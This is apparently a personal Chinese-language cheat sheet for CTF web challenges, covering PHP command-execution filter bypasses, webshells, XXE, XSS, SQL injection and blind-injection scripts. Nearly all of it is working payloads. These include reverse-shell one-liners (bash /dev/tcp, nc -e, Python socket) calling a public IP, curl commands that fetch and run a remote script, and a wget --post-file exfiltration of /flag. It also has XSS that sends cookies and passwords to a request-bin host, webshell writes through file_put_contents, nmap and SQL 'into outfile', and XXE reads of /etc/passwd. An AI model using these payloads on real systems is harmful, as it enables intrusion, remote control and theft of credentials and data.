7、没有回显的时候用
123|ls ../../../>test
123|cat /flag>test
再访问http://114.67.246.176:11727/test
8、?a='?><?=`/???/?a? ??a?????`?> 可以显示全部包括flag,用bp抓包
9、假如waf不允许num变量传递字母,那么我们可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
4、字符串中的字符是可以使用反斜杠\加16进制替换的
5、stristr 函数用换行符绕过
无参数rce
1、(?R)?重复引用当前表达式(递归调用),所以只能无参数绕过
localconv():函数返回一包含本地数字及货币格式信息的数组,数组第一项是.
current()/pos():函数返回数组中的当前元素,初始指向第一个元素。
所以current(localeconv())=='.' (永远是点)
scandir('.'):列出当前目录中的文件和目录。
读目录:print_r(scandir(current(localeconv()))); 或者print_r(scandir(pos(localeconv())));
读文件:show_source(next(array_reverse(scandir(current(localeconv())))));
array_reverse():将原数组中的元素顺序反转,创建新的数组并返回。
next():函数将内部指针指向数组的下一个元素,并输出。
\1. echo(implode(scandir(chr(strrev(uniqid()))))); 爆出随机文件名
show_source(end(scandir(chr(strrev(uniqid()))))); 爆出文件结果 bp发包
自增webshell
code=$=(/.);$=$[''!=''];$%ff=%2b%2b$;$%ff=%2b%2b$.$%ff;$%2b%2b;$%2b%2b;$%ff.=%2b%2b$;$%ff.=%2b%2b$;$=.$%ff;$$[]($$[__]);&=system&__=cat /flag
preg_replace漏洞
1、preg_replace ( mixed $pattern , mixed $replacement , mixed $subject , int $limit = -1 , int &$count = ? ) : mixed
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。
preg_replace 函数执行一个正则表达式的搜索和替换,preg_replce正则表达式部分包含e参数的时候,进行替换的部分会被执行。
payload:?pat=/123/e&rep=system(“ls”)&sub=123
2、,采用%0a 的方式去绕过,#用url编码%23绕过,%0a/pass_the_level_1%23
preg_match
1、preg_match只会去匹配第一行,可以用多行进行绕过,在参数前加%0A,如下
{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}, 这是json格式
\1. 通过url编码
index.php/utils.php/%80?%73%68%6f%77%5f%73%6f%75%72%63%65
show_source被过滤,用标红url绕过
\1. 取反绕过,详见序列化error原生类
\2. preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可;由于过滤了引号,我们直接用url取反绕过
\3. 不规范的符号会变成, 比如用+代替,服务器会转换成
Foreach循环绕过
$pos = array_search("nudt", $a["bar2"]);
$pos === false ? die("nope") : NULL;
foreach ($a["bar2"] as $key => $val) {
$val === "nudt" ? die("nope") : NULL;
}
这两个其实是互相矛盾的,如何绕过?这时利用第一个"nudt"字符串与0弱类型比较相等,就可以绕过,方法:“bar2”:[[1],2,3,4,0]
Createfunction注入
?a=\create_function&b=}system('tac /flag');//
assert()函数
该函数是一个宏,可以通过’) 闭合方式,后面追加// 注释掉后面的,构造恶意代码
Assert里面是字符串的话,会被当做php代码执行
1、题目:
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
构造payload:
page=about.php') or system('cat templates/flag.php');//
payload2:page='. system(" ls ").' 相当于使用 “.” 来连接字符串
2、?code=${%80%80%80%80^%DF%C7%C5%D4}{e}( ${%80%80%80%80^%DF%C7%C5%D4}{v} )&e=system&v=cat flag.php
PCRE回溯次数限制绕过检测Echo过滤
import requests
payload = '{"cmd":"?><?= tail /f*
?>", "$":"'+"$"*(1000000) + '"}'
res = requests.post("http://1.14.71.254:28131/",data = {"letter":payload})
print(res.text)
Basename函数
我们通过在index.php/utils.php/后面添加一个非ascii码的字符串,这样做可以绕过正则,当执行到basename函数的时候,这个非ascii字符就会被丢弃,就会成功执行utils.php/
index.php/utils.php/%80?%73%68%6f%77%5f%73%6f%75%72%63%65
ADMIN账号Unicode欺骗
\1. 假如我们注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录,因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名为ADMIN,此时我们再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin,然后我们就可以改掉admin的密码,最后利用admin账号登录即可拿到flag。
\2. 我们只能输入一个字符,代表很大数字,用ↁ,
在线网站https://www.compart.com/en/unicode/U+2181
网页隐藏真实get参数
\1. 网页显示的字符颜色有变化,网页全选后复制出来,发现Unicode
\2. 保存文件后丢到winhex里,把对应参数名称和参数值复制出来,16进制,然后按url编码格式传参
数组绕过正则表达式
1、用data[]=的方法,把data从字符串变成数组,导致绕过正则匹配,还可以绕过长度限制
ls被过滤了可以用dir
2、%20代替下划线,正则匹配表示匹配字符窜的开头和结尾
由于在字符窜中换行可以表示字符窜的结尾,所以可以用%0a(换行符的url编码)绕过,比如某个参数需要等于2333,但是正则匹配又不能等于2333,那就构造2333%0a
\1. 数组溢出+原生类读取,下面c是数组下标溢出 flag[a-z0-9]相当于flag.php
c=9223372036854775806&a=DirectoryIterator&b=glob://flag[a-z0-9]*.php
a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php&c=9223372036854775806
Sprintf绕过
%1$\为空,在’被系统转义后变成\’, %1$接在前面可抵消\
Payload: name=sa&pass=sa%1$’ or %1$’1%1$’=%1$’1%1$’--+
file.open漏洞利用
如果+path+以一个管道字符(|)开头,就会创建一个子进程,通过一对管道连接到调用者。 返回的IO对象可用于向该子进程的标准输入写入和从标准输出读取
file=| echo bHMgLw== | base64 -d
> 7261856968ae8925fc07584b17584c75.png,
然后在读取7261856968ae8925fc07584b17584c75.png内容。
环境变量截取字母
在无法输入字母时候可以用环境变量截取字母,代表命令
/readflag
然后蚁剑有一个插件有这样的功能, disable_functions 禁用了太多函数,我们需要绕开disable_functions
选择PHP_GC_UAF模式
然后回进入到一个虚拟shell模式,输入/readflag,得到flag
image-20200503230340433
spl_autoload_extensions
$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die("虎年大吉,新春快乐!");
payload:1= spl_autoload_extensions post访问.inc,.php 1=system(‘ls /’)
open_basedir绕过(无法读根目录)
payload: chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
toUpperCase()
字符"ı"、"ſ"这两个字符的“大写”是I和S,注册admın
php数组溢出漏洞
1、数组中键值为0的元素与键值为4294967296 //0x100000000 的元素是同一个:
stuff[4294967296]=admin&stuff[1]=user&num=111
\1. 绕过对num的检测,从而可以执行命令这里用%0a,num=111%0als
\2. 由于过滤了flag,?,*等字符,这里用inode索引节点,先找到flag的inode,
Num=111%0als –I / 然后用tac读取,tac find / -inum (node节点数)
create_function()
create_function()函数在创建之后会生成一个函数名为:%00lambda_%d
%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动,Apache启动新的线程,这样这里的%d会刷新为1,写个脚本一直去刷新访问即可
import requests
while True:
r=requests.get('http://a10002f2-2091-47dc-9b7c-996d05cd4faa.node3.buuoj.cn/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
print('Testing.......')
PHP命令执行
Ping测试工具
1、?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
\1. nmap传一句话木马:Nmap上传一句话木马,记住连同’’一起复制。?host=' <?php @eval($_POST["hack"]);?> -oG hack.php ' 如果有过滤用下面的,或者' <?= @eval($_POST["pd"]);?> -oG pd.phtml '输入后看到目录,再加上文件名,再用蚁剑或者用system(‘ls /’);。
绕过方法
1、%0a 换行 %0d 回车 ;分号 |或者|| &或者&& {IFS}空格 $IFS空格,%20空格
$IFS$9flag包含数字要加9 c’a’t单双引号绕过 <>空格,cat用c\a\t绕过
2、linux中``反引号的作用
凡是打上反引号的命令,首先将反引号内的命令执行一次,然后再将已经执行过的命令得到的结果再执行一次,例如 echo a.txt|base64 -d
3、curl可以用句号。代替点. url=http://192。168。7。68/flag,或者ip转10进制
4、连所有字母都过滤了 ?a=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
详见bp中的《异或命令执行.php》
\1. 常见的cat、more、less、nl都不行,但是可以用od,用正则表达式来绕过文件名的字母限制 POST myfavorite=mewtwo&dream=od%09-c%09/F9-QG
\2. Escapeshellarg ,绕过加上%ff
\3. 过滤了. ?cmd=show_source(next(array_reverse(scandir(current(localeconv())))));
eval($cmd)
system()
passthru() passthru("ca''t ls
");
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
echo echo(ls
); echo+反引号?><?=`ls`; <?=是echo()的别名用法,不需要开启short_open_tag。需要先?>把前面的<?php给闭合掉./exp.txt可以用./??p????代替
1、命令执行,没有回显的时候,可以cp /flag flag.html,然后访问flag.html
2、可以使用 c=echo $_POST[a]
?> 传一句话木马
3、连所有字母都过滤了 ?a=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
详见bp中的《异或命令执行.php》
$="`{{{"^"?<>/";${$}_;&_=system&__=ls /
$="`{{{"^"?<>/";${$}_;&_=system&__=cat /flag
\1. 给了特定的数学函数,通过异或方法
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
5、取反绕过:System(‘ls /’);= ~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);脚本如下
<?php
error_reporting(0);
$a='system';
$b=urlencode(~$a);
echo $b;
echo " ";
$c='ls /';
$d=urlencode(~$c);
echo $d;
?>
6、用以下进行
$=[];$=@"$";$=$['!'=='@'];$___=$;$=$_;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_.=$;$_.=$;$=$;$++;$++;$++;$++;$_.=$;$__=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_.=$;$__='';$=$_;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$.=$;$=$;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$__.=$__;$=$$;$__($[_]);
以上进行url编码,fullencode
这是固定格式构造出来的 assert($POST[]);
然后post传入 _=phpinfo();
7、发现system,exec,shell_exec,popen,proc_open,passthru被禁用 .
但是可以用file_put_contents(,)
file_put_contents函数 第一个参数是文件名,第二个参数是内容。
所以 构造: =file_put_contents("1.php","<?php eval($POST['shell']); ?>");传入木马
然后访问/1.php,密码shell连接。
Exec
\1. 这个函数没有回显。可以用shell反弹
\2. ?url=l\s / | tee 1.txt 之后访问我们传入的文件1.txt,然后访问1.txt,再传入 ?url=tac /flllll\aaaaaaggggggg | 2.txt 因为ls la被过滤,所以用l\s绕过
\3. shell_exec dream=od%09-c%09/F9-QG
open()函数
file=| echo bHMgLw== | base64 -d
> 563d256cfbf6dce1716dde5cccc587b9.png
将命令写入png图片中,再读取该png,内容解码发现了flag
语句拼接
1、?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
2、cmd=(s.y.s.t.e.m)('cat /flag'); //.在php中有连接字符串的作用,所以用来拼接字符串
3
读取文件
\1. cat的几种代替,用 nl tac more,有时候需要/bin/cat
\2. 文件名可以作为命令,首先 传入参数a=>nl,然后a=*>z,再访问z
\3. 字母数字都被过滤,使用反url绕过,php -r "echo urlencode(~'phpinfo');"
得到%8F%97%8F%96%91%99%90, payload: ?code=(~%8F%97%8F%96%91%99%90)();
然后构造一个shell连上蚁剑
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo " ";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
?>
Payload=(~%9E%8C%8C%9A%8D%8B)(~ %D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
然后使用post上传,再蚁剑链接,或者用mochu=system();函数 /var/tmp/目录存在上传权限
System(‘ls /’);= ~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);脚本如下
<?php
error_reporting(0);
$a='system';
$b=urlencode(~$a);
echo $b;
echo " ";
$c='ls /';
$d=urlencode(~$c);
echo $d;
?>
4、var_dump(getenv('flag')); f
文件名命令执行
修改文件名:;ls;# ;cd ..;ls;# ;cd ..;cat flag;#
反弹shell方法
1、wget参数泄露
http://XXX/wget?argv=dotast&argv=--post-file&argv=/flag&argv=http://124.71.183.238:8888/
服务器监听8888端口
2、Ping命令执行漏洞,新建服务器主机跟目录www/wwwroot/139.9.204.128建立1.sh 内容 ls /| nc 公网地址 端口,然后监听端口 针对exec()函数
127.0.0.1%0acurl 139.9.204.128 /1.sh > /tmp/1.sh
127.0.0.1%0achmod 777 /tmp/1.sh
127.0.0.1%0ash /tmp/1.sh
3、vps上启index内容填反弹shell一句话 bash -c 'exec bash -i &>/dev/tcp/139.9.204.128/3306 <&1' 然后监听端口nc –lvnp 3306
靶机上传参?ip=curl 攻击机IP(十进制)|sh
一句话:bash -i >& /dev/tcp/139.9.204.128/3306 0>&1 nc -e /bin/bash ip port
4、python反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('139.9.204.128',3306));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
然后用full url encode编码
Xxe漏洞
API接口
抓包改包,将Content-Type改为application/xml,然后post数据如下:
<?xml version="1.0" encoding="utf-8"?>
]>
<root>&file;</root>
注意file变量前面&和后面;
读取几个文件夹:file:///etc/passwd、file:///etc/hosts
XXE绕过
有时候用伪协议读取
即通过XXE编码转换成utf-16编码绕过,原始如下
\1. 脚本,前面加实体
<?xml version='1.0'?>
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
\1. iconv -f utf8 -t utf-16 2.xml>1.xml
\2. 上传1.xml
3、<?xml version="1.0" encoding="utf-8"?>
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>sa</password></user>
xxe打内网
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
访问SYSTEM "file:///etc/hosts"
然后 SYSTEM "file:///proc/net/arp"
访问SYSTEM "http://内网地址"
一些其他关于内网的文件
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie
\1. SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php"
SVG
SVG是个XML的图片,并且存在可控的内容,尝试一下XEE漏洞/proc/self/pwd/代表的是当前路径。可以构造/proc/self/pwd/flag.txt读取文件,构造.svg后缀文件上传
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<text x="10" y="20">&file;</text>
</svg>
json就xxeDTD
\1. Content-type: application/xml 改成xml
\2. Payload如下
<?xml version="1.0"?>
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaaaa/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
Xpath
看到类似这种,就使用xpath脚本,跑用户名和密码,密码md5解密,web脚本《xpath》
<username>adm1n</username><password>gtfly123</password><token>cf7414b5bdb2e65ee43083f4ddbc4d9f</token>
XSS
一、
1、<script>alert(1)</script>
2、';alert(1);'
3、使用a标签+鼠标滑过事件 <a onmouseover="alert(1)">111
4、xxx?xss&jumpUrl=javascript:alert(1)
5、xxx?autosubmit=1&action=javascript:alert(1)
6、username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
7、"><script>alert(1)</script>
8、' onclick='alert(1)
9、"><a href="javascript:alert(1)",要点击图片触发
10、javascript:alert(1)
11、javascript:alert('http://')
12、t_sort=2" accesskey="x" onclick="alert(1)" type="text"
12、t_sort=2" accesskey="x" onclick="alert(1)" type="text"
二、hi
二、gungungun
上GitHack获取源码
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
原生类构造
payload
<?php
$a = new
Exception("<script>window.location.href='http://bee739f1-9268-4776-adfc-103d42670399.node3.buuoj.cn'+document.cookie</script>");
echo urlencode(serialize($a));
?>
返回的结果,进行get传参,yds_is_so_beautiful=
三、xss代码,输入后,通过xss平台,目的是为了拿到管理员的cookie
</textarea>'">
四、注册登录后,留言,查看留言
Xss平台:http://http.requestbin.buuoj.cn/ create一个生成网址
留言板提交以下,然后在xss平台查到flag
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/y6b4uwy6/?a="+psw;
</scrcookieipt>
Django框架
\1. 全部数据使用http协议的post进行传输,要发送文件前面加@前缀,并使用完整路径
\2. Get变量传入%80,看报错信息,所以根据Django的目录,我们使用@进行文件传递,对文件进行读取之后还会把内容传给url参数,如果像上面一样有超出解析范围的编码的时候就会得到错误信息。
\3. 可以从配置文件settings.py的报错中看看有没有database的相关信息(搜database)
?url=@/opt/api/database.sqlite3, 报错信息搜ctf或者flag
SQL注入
2、数字型注入?id=0 union,?id=0 order by 3# 堆叠注入用;闭合?id=0;
堆叠注入
\1. 第一种:1';show tables;--+ 第二种: 1;show tables;--+
\2. show columns from 表名(数字带反引号)
\3. 预处理:1';use supersqli;set @sql=concat('s','elect * from 表名
');PREPARE pre FROM @sql;EXECUTE pre;--+
二、种方法
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭:
1';handler 表名 open;handler 表名 read first;handler 表名 close;#
三、elect $_GET['query'] || flag from flag
payload:*,1 查询语句:select ,1||flag from Flag 原理:直接查询所有
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1, 原理:设置了mode,支持||
查询语句select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
四、*.1
报错注入
1、updatexml()报错注入
打一个单引号,出现报错,再打一个单引号,发现没有报错了,所以考虑是单引号闭合,然后考虑and等关键字,发现拦截,考虑报错注入,空格也过滤了,考虑括号代替,表单提交的数据使用get方法转发到check.php,所以直接通过check.php get传参
payload:
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=pass
注意多个表使用group_concat(table_name)
爆出表名:
XPATH syntax error: '~H4rDsq1~'
payload:
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username))from(H4rDsq1)),0x7e),1))%23&password=pass
爆出字段:
XPATH syntax error: '~flag~'
payload:
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=pass
爆出部分flag
XPATH syntax error: '~flag{0d127651-7a2c-42fe-8f7d-8c'
这里还有一个点,就是right(),从右边截取,这里可能是限制了select的数据长度
payload:
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=pass
爆出部分flag
XPATH syntax error: '~1-7a2c-42fe-8f7d-8c594ff8b5ca}~'
没有过滤的情况
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+
2、extractvalue()报错注入
payload:
check.php?username=admin'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e)))%23&password=pass
爆出部分flag
~1-7a2c-42fe-8f7d-8c594ff8b5ca}~
其他的都类似,extractvalue少一个参数而已
3、通过正则和reverse函数的报错注入
1"||extractvalue(1,concat(0x7e,(sql)))# 此为模板
Sql= select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()) 查表
select(group_concat(column_name))from(information_schema.columns)where(table_name='flag') 查字段
查不到完整表,用正则表达,后面跟&&(column_name)regexp('^r'),如下
select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')&&(column_name)regexp('^r')
查值如下,
select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')
发现只看到前半部分,通reverse函数
1"||extractvalue(1,concat(0x7e,reverse((sql))))#
Bool盲注
1、Username=a’ or user() regexp ‘^a’%23
2、然后用bp爆破字段a,试出来一个就填一个
盲注方法:
\1. 输入字段 后面 || 1=2,看返回的结果是否有不同,2||substr((select 1),1,1)=2看是否可以盲注,或者用0^,"0^(ascii(substr((select(flag)from(flag)),%d,1))=%d)" % (i,char)
\2. ||length(database())>1
\3. 不能用 information_schema就用 sys.schema_table_statistics进行替换,注意只能看到表名了, information_schema被过滤只能用无列名注入了,参照《盲注无列名.py》
‘-1||((select 1,"{0}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(flag)
\1. 循环的范围一定是range(32,127)
\2. 过滤:将limit 0,1样式改为limit 1 offset 0
\3. 过滤:将substr(string,1,1)改为substr(string from 1 for 1)。
\4. -1//or//(ascii(substr((select//concat(id,username,password)//from/**/users),2,1))=97)
\5. 等号和like过滤,用regxep或者in绕过,ascii用ord代替,=用 in绕过
\6. image.php?id=\0&path=or 1=if(length(database())<1,-1,1)%23 如果数据库<1取-1,否则1
where id='pa1' or path='pa2'"); pa1输入\ 相当于把标红单引号转义,前后黄单引闭合
pa2传入or 1=xx# 形成盲注的判断
时间盲注
因为没有任何有意义的回显,所以一般就是时间盲注了,但是由于不知道他的sql语句是怎么样的,所以写个脚本测试下如何去闭合前面内容
import requests
import time
ss = time.time()
url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22%20and%20sleep(5)--+"
t=requests.get(url)
if time.time()-ss>=4:
print("is Time")
regexp正则匹配
import string
from urllib import parse
import requests
url='http://57255251-75f0-44e7-a06a-8b81f5d2b486.node4.buuoj.cn:81/index.php'
strings='_'+string.ascii_lowercase+string.digits
passwd=''
while True:
for j in strings:
data={
'username':'\',
'passwd':'||//passwd//regexp/**/"^{}";{}'.format((passwd+j),parse.unquote('%00'))#parse.unqote是不编码%00的意思
}
res=requests.post(url,data=data).text
if 'welcome' in res:
passwd += j
print("\r" + passwd, end="")
break
SQL约束攻击
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除
注册admin账号或者root账号,后面加几个空格(或者空格很多再加个字母),sql后台会删除多余空格,导致创建admin
SQL绕过
\1. 使用<>,如order被过滤,则使用or<>der,sele<>ct,或者用反引号tables
\2. 空格过滤方法:(),/*/,/1*/,回车(url编码中的%0a),`(tap键上面的按钮)
\3. Mysql如果没过滤load_file,可以读取文件,例如:
?no=-1 union//select//1,load_file('/var/www/html/flag.php'),3,4#
(select(group_concat(table_name))from(information_schema.tables)where(table_schema)括号绕过空格,=用like,等号和like过滤,用regxep或者in绕过,ascii用ord代替,=用 in绕过,如下
(table_schema)in(database())这是in,
\1. 单引号过滤 (table_name)in(0x666c6167)用16进制跳过单引号
\2. ?id=2 || id = 1000, 使用逻辑或跳过intval()函数;取反运算符(~)来控制~~1000
\3. Id=0b010101 ,sql会用二进制
\4. 记得数字型注入,id=1时,在注入时候要选择id不存在的数字,比如id=0或者-1
\5. Mid使用 mid(group_concat(id,flag),21,40)
\6. database里面的as被过滤,通过查询一个不存在的表,通过报错获得表名-1' || (select * from aa)#
\7. column被过滤,使用无列名
tt=-1' || extractvalue(1,concat(0x07, (select data from output), 0x07))#
tt=-1' || extractvalue(1,concat(0x07, mid((select data from output),28), 0x07))#
注入语句
获取字段数:id=1'order by 3--+
获取系统数据库名:
id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
第二张情况,注入在2位置
=0//UNION//SELECT//1,group_concat(schema_name),3,4//from/**/information_schema.schemata%23
获取当前数据库名:
id=-1' union select 1,2,database()--+
获取数据库中的表:
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
获取表中的字段:
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
另外的,必须是双引号”users”
-1//union//select//1,(select//group_concat(column_name)from//information_schema.columns//where//table_schema="web7"//and/**/table_name="flag"),3
获取各个字段值:
-1' union select 1,group_concat(username),group_concat(password) from users--+
第二种情况
view.php?no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users--+
二次注入
一、注册admin
1、注册使用admin’--, admin’#, admin”#,然后修改密码后,原始的admin就被修改了,直接注册admin不行,加一个空格绕过
二、留言板的二次注入
先发帖aaa',content=(select hex(load_file('/flag'))),/*
然后留言*/#
三、登录后显示用户名
select '0'+ascii(substr(database(),1,1));
因为过滤了逗号,所以用from for来代替
0'+ascii(substr(database() from 1 for 1))+'0;
import requestsimport timeimport reurl="http://2098e8eb-2b85-4277-a3f9-f9a2d34ed8c6.node4.buuoj.cn:81/"flag=''for i in range(100): time.sleep(0.3) data1={'email':'{}@139.com'.format(i),'username':"0'+ascii(substr((select from flag) from {} for 1))+'0;".format(i),'password':'sa'} data2={'email':'{}@139.com'.format(i),'password':'sa'} url1=url+'register.php' url2=url+'login.php' res=requests.post(data=data1,url=url1) res2=requests.post(data=data2,url=url2) res2=re.search(r'\s(\d)\s',res2.text) res1 = re.search(r'\d+', res2.group()) flag = flag + chr(int(res1.group())) print(flag)
四、注册时把我们sql语句放到username处,登录后即可看到我们想要的信息
1、username =1' union select database() #
2、username =1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
3、username =1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
4、username =1' union select flag from flag #
sql的万能密码
一、输入的username和password,在sql数据库的表达如下,当账号和密码都正确则登录成功,记得也要试下弱口令 123456
\1. select * from table where username='XX' and password='XX';
\2. 我们构造成 前面账号判断为真,后面的密码判断真,整个登录判断语句返回真
\3. username=sa' or '1'='1&password=sa' or '1'='1————带到查询语句中
\4. select *from table where username= ‘sa' or '1'='1’ and password= ‘sa' or '1'='1’
二、双引号闭合(注意引号重新输入下)
user=aadmin’//union//select//1//or/**/“1”="1&pass=1
单引号闭合(注意引号重新输入下)
user=aadmin’//union//select//1//or/**/’1’=’1&pass=1
payload:username=admin'//or//1=1//group//by//password//with//rollup#&password= 因为加入with rollup**后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']的限制成功登陆。
三、各种类型
and 1 = 1;and 1 = 2;1' ;and 1 = 2;1'
四、首先尝试了一下能不能知道密码的 长度 payload u='||length(p)<'100&p=1
然后再查看每一位的密码 '||substr(p,1,1)<'a,有时候不能用'||substr(p,1,1)=='a
五、空异或0会查到所有非数字开头的记录,转换一下还有好几种结果, payload: ’^0#
'&0# '0# '<<0# '>>0# '&''# '/9#,这几个都可以
六、万能密码登录语句构造
select * from admin where username='admin'and 1=1 #' and password='123456'
OR
select * from admin where username='admin'or 1 #' and password='123456'
或者不需要admin
select * from admin where username='1'or 1 or 1 #' and password='123456'
还可以用#来注释
select * from admin where username='admin'#' and password='123456'
2、要先万能密码登录后再注入,因为登录后才有回显,比如
username=admin' or 1=1 union select 1,database(),3#&password=123
七、payload: username=admin&password=
'UNION(SELECT(REPLACE(REPLACE('"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#
四、输入id只有2字段
说明有2列一个为uniqueid另一个应该就是flag
输入id判断登录,即可,尝试万能密码登录:?id=1 || 1=1 limit 0,1
Like注入
\1. 但是_(下划线)没有,添加N个 _ (下划线)可以知道密码长度为32
like 模糊匹配
% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
[ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符
[^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符
* 它同于DOS命令中的通配符,代表多个字符
?同于DOS命令中的?通配符,代表单个字符
# 大致同上,不同的是代只能代表单个数字
构造虚拟数据
联合查询如果查询不存在的数据,会构造虚拟的数据,
name=1'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1后面是md5值
sql写木马
-1%' union SELECT 1,'<?php System($_GET['l']);?>',3 into outfile '/var/www/html/she.php'#
然后 l=ls /
盲注current IP
参见《盲注current_IP脚本》
Json格式盲注
参加脚本 文件夹《SQL注入》-POD堆叠注入
格式如下{"username":"admin","password":"123456"}
堆叠注入写木马
MultiSQL
1、绕过单双引号,使用mysql的预处理语句后面加粗的可以用其他sql语句
set @sql = concat('create table ',newT,' like ',old);
prepare s1 from @sql;
execute s1;
2、需要执行的语句
select ‘<?php eval($_POST[_]);?>’ into outfile ‘/var/www/html/favicon/shell.php’;
3、使用脚本编程十进制:
